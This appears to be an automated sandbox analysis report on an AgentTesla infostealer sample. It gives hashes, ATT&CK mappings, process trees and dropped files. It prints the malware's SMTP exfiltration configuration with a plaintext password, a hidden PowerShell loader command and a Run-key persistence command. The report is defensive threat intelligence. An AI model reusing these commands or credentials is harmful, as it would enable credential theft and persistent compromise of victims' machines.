agenttesla | 86d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe

Analysis

max time kernel
151s
max time network
172s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
23-05-2024 15:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PI_230524.exe
Size

531KB
MD5

fe3bcba4cdc4ae741ee54de500496669
SHA1

e27ac7c118efb35b85abf8dc4300a6291737dea2
SHA256

86d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe
SHA512

d337947fcb86f48b30e676b105c584811723dacf16ce3af4cdac70607a239d9b5aaf93b0abd54754cc7801cac7a86fd7da293655d0dcfa4de32147df75ae9ff8
SSDEEP

6144:+Y8i9d6ihOq761Mymf40IoBdLlNZ4DYvP+TV5lKiecmMlGvtClbUpEjoltWucv:8K6+L761MymflCYX+EixjlGHu8ltWuq

Score

10^/10

agenttesla execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.showpiece.trillennium.biz
Port:
587
Username:
[email protected]
Password:
]2p65r?5jH32
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3932 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Awner.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation Awner.exe
Loads dropped DLL 1 IoCs

Processes:

Awner.exe

pid process

4324 Awner.exe
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	Awner.exe

pid	process
4324	Awner.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Straaets% -windowstyle minimized $masooka=(Get-ItemProperty -Path 'HKCU:\\Altsaxofonists\\').Folkesocialisternes;%Straaets% ($masooka)"	reg.exe

Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

60 api.ipify.org
61 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

Awner.exe

pid process

4324 Awner.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exeAwner.exe

pid process

3932 powershell.exe
4324 Awner.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3932 set thread context of 4324 3932 powershell.exe Awner.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
60	api.ipify.org
61	api.ipify.org

pid	process
4324	Awner.exe

description	pid	process	target process
PID 3932 set thread context of 4324	3932	powershell.exe	Awner.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Awner.exe	nsis_installer_1
C:\Users\Admin\AppData\Local\Temp\Awner.exe	nsis_installer_2

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

4480 reg.exe

pid	process
4480	reg.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exeAwner.exe

pid	process
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
3932	powershell.exe
4324	Awner.exe
4324	Awner.exe
4324	Awner.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

3932 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeAwner.exe

description pid process

Token: SeDebugPrivilege 3932 powershell.exe
Token: SeDebugPrivilege 4324 Awner.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Awner.exe

pid process

4324 Awner.exe

description	pid	process
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeDebugPrivilege	4324	Awner.exe

pid	process
4324	Awner.exe

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

PI_230524.exepowershell.exeAwner.execmd.exe

description	pid	process	target process
PID 4496 wrote to memory of 3932	4496	PI_230524.exe	powershell.exe
PID 4496 wrote to memory of 3932	4496	PI_230524.exe	powershell.exe
PID 4496 wrote to memory of 3932	4496	PI_230524.exe	powershell.exe
PID 3932 wrote to memory of 2296	3932	powershell.exe	cmd.exe
PID 3932 wrote to memory of 2296	3932	powershell.exe	cmd.exe
PID 3932 wrote to memory of 2296	3932	powershell.exe	cmd.exe
PID 3932 wrote to memory of 4324	3932	powershell.exe	Awner.exe
PID 3932 wrote to memory of 4324	3932	powershell.exe	Awner.exe
PID 3932 wrote to memory of 4324	3932	powershell.exe	Awner.exe
PID 3932 wrote to memory of 4324	3932	powershell.exe	Awner.exe
PID 3932 wrote to memory of 4324	3932	powershell.exe	Awner.exe
PID 4324 wrote to memory of 4240	4324	Awner.exe	cmd.exe
PID 4324 wrote to memory of 4240	4324	Awner.exe	cmd.exe
PID 4324 wrote to memory of 4240	4324	Awner.exe	cmd.exe
PID 4240 wrote to memory of 4480	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 4480	4240	cmd.exe	reg.exe
PID 4240 wrote to memory of 4480	4240	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\PI_230524.exe
"C:\Users\Admin\AppData\Local\Temp\PI_230524.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4496

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Treholdsskiftet=Get-Content 'C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Strapper\Swallowling.Pre';$Skiameter=$Treholdsskiftet.SubString(55621,3);.$Skiameter($Treholdsskiftet)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3932

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
3⤵
PID:2296

C:\Users\Admin\AppData\Local\Temp\Awner.exe
"C:\Users\Admin\AppData\Local\Temp\Awner.exe"
3⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4324

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Straaets% -windowstyle minimized $masooka=(Get-ItemProperty -Path 'HKCU:\Altsaxofonists\').Folkesocialisternes;%Straaets% ($masooka)"
4⤵
- Suspicious use of WriteProcessMemory
PID:4240

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Straaets% -windowstyle minimized $masooka=(Get-ItemProperty -Path 'HKCU:\Altsaxofonists\').Folkesocialisternes;%Straaets% ($masooka)"
5⤵
- Adds Run key to start application
- Modifies registry key
PID:4480

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3940 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:8
1⤵
PID:3944

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Awner.exe
Filesize
531KB

MD5
fe3bcba4cdc4ae741ee54de500496669

SHA1
e27ac7c118efb35b85abf8dc4300a6291737dea2

SHA256
86d74d655679ee232b8fcf1a0013a17972b6b93aed25ae8beccd5864a9a1ecbe

SHA512
d337947fcb86f48b30e676b105c584811723dacf16ce3af4cdac70607a239d9b5aaf93b0abd54754cc7801cac7a86fd7da293655d0dcfa4de32147df75ae9ff8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_15jwdx1q.bth.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Delfiteknikkens.Gri
Filesize
297KB

MD5
6ea9e79b54b8a56cec498b93e929ece2

SHA1
9481a950ed835695cbb46c6ca48a524f295d4fd2

SHA256
30d6aa82f35ba4d346c05e6b6e825201641cf484c4ab8f343a18c32388d53931

SHA512
468da5be68dfc29c6a1f53fed2ca8f3671f129a16af5291138d4aff384dba6e7ae8b3bb9e32ee73063d85c370d5f5253a53f2a1e1951320d1cc7eabff8ca358e

Download Submit
C:\Users\Admin\AppData\Roaming\fertiliseringer\Hudflettende\Strapper\Swallowling.Pre
Filesize
54KB

MD5
22252e2ecc5fad588b2a1855271240d7

SHA1
16e3f7b4f36b0804f372e9dc199748eced0be25c

SHA256
d82ec244a3f9172ac6eb88f87b46147b085b1ef3cd0b1787cb7029f5eeef74c0

SHA512
98ca2f227d5e8e32a098f8c98c432f1693617196ca3dfd81404ff247a8e8254c631cc291965b0a8fb724798c98bc4dc65963d23c81ebbbd7762acb391b4361a0

Download Submit
memory/3932-41-0x00000000075A0000-0x0000000007B44000-memory.dmp

Filesize
5.6MB

Download
memory/3932-45-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/3932-23-0x00000000058C0000-0x0000000005926000-memory.dmp

Filesize
408KB

Download
memory/3932-24-0x00000000059A0000-0x0000000005A06000-memory.dmp

Filesize
408KB

Download
memory/3932-21-0x0000000005120000-0x0000000005748000-memory.dmp

Filesize
6.2MB

Download
memory/3932-30-0x0000000005A10000-0x0000000005D64000-memory.dmp

Filesize
3.3MB

Download
memory/3932-35-0x0000000005F30000-0x0000000005F4E000-memory.dmp

Filesize
120KB

Download
memory/3932-36-0x0000000006300000-0x000000000634C000-memory.dmp

Filesize
304KB

Download
memory/3932-37-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/3932-38-0x0000000006F50000-0x0000000006FE6000-memory.dmp

Filesize
600KB

Download
memory/3932-39-0x00000000064C0000-0x00000000064DA000-memory.dmp

Filesize
104KB

Download
memory/3932-40-0x0000000006540000-0x0000000006562000-memory.dmp

Filesize
136KB

Download
memory/3932-17-0x000000007312E000-0x000000007312F000-memory.dmp

Filesize
4KB

Download
memory/3932-20-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/3932-43-0x00000000081D0000-0x000000000884A000-memory.dmp

Filesize
6.5MB

Download
memory/3932-22-0x0000000004EC0000-0x0000000004EE2000-memory.dmp

Filesize
136KB

Download
memory/3932-19-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/3932-47-0x000000007312E000-0x000000007312F000-memory.dmp

Filesize
4KB

Download
memory/3932-48-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/3932-49-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/3932-52-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/3932-51-0x0000000008850000-0x000000000A40D000-memory.dmp

Filesize
27.7MB

Download
memory/3932-53-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/3932-18-0x00000000049B0000-0x00000000049E6000-memory.dmp

Filesize
216KB

Download
memory/3932-57-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/4324-56-0x00000000007E0000-0x0000000001A34000-memory.dmp

Filesize
18.3MB

Download
memory/4324-63-0x00000000007E0000-0x0000000000820000-memory.dmp

Filesize
256KB

Download
memory/4324-61-0x00000000007E0000-0x0000000001A34000-memory.dmp

Filesize
18.3MB

Download
memory/4324-64-0x0000000022E90000-0x0000000022EE0000-memory.dmp

Filesize
320KB

Download
memory/4324-65-0x0000000022EE0000-0x0000000022F72000-memory.dmp

Filesize
584KB

Download
memory/4324-66-0x0000000023140000-0x000000002314A000-memory.dmp

Filesize
40KB

Download